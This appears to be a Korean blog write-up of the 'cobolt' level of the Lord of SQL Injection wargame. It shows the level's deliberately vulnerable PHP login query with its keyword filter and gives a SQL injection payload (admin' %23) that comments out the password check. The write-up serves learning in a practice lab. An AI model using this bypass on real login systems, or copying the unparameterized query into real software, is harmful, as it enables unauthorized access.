728x90
반응형

query : select id from prob_cobolt where id='' and pw=md5('')

 

<?php

  include "./config.php"

  login_chk();

  $db dbconnect();

  if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 

  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 

  $query "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"

  echo "<hr>query : <strong>{$query}</strong><hr><br>"

  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 

  if($result['id'] == 'admin'solve("cobolt");

  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"

  highlight_file(__FILE__); 

?>

 

 

코드 해석

if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 

  • id "prob", "_", ".", "(", ")" 포함될 경우 "No Hack ~_~" 출력

$query "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";

  • ID, PW POST 방식이 아닌 GET 방식으로 삽입되는 것을 있음

if($result['id'] == 'admin'solve("cobolt");

  • id admin으로 고정

 

문제 해결

id admin으로 송신하며, 뒤에 SQL문을 주석처리

  • GET 방식으로 URL SQL 대입 ( ?id=admin' %23 )
  • query : select id from prob_cobolt where id='admin' #' and pw=md5('')

 

 

728x90

'*Wargame > [ LS ] Load of SQL Injection' 카테고리의 다른 글

[ LS - 05 ] wolfman  (0) 2021.12.18
[ LS - 04 ] orc  (0) 2021.12.18
[ LS - 03 ] goblin  (0) 2021.12.18
[ LS - 01 ] gremlin  (0) 2021.12.18
[ LS - 00 ] Lord of SQL Injection  (0) 2021.12.18

+ Recent posts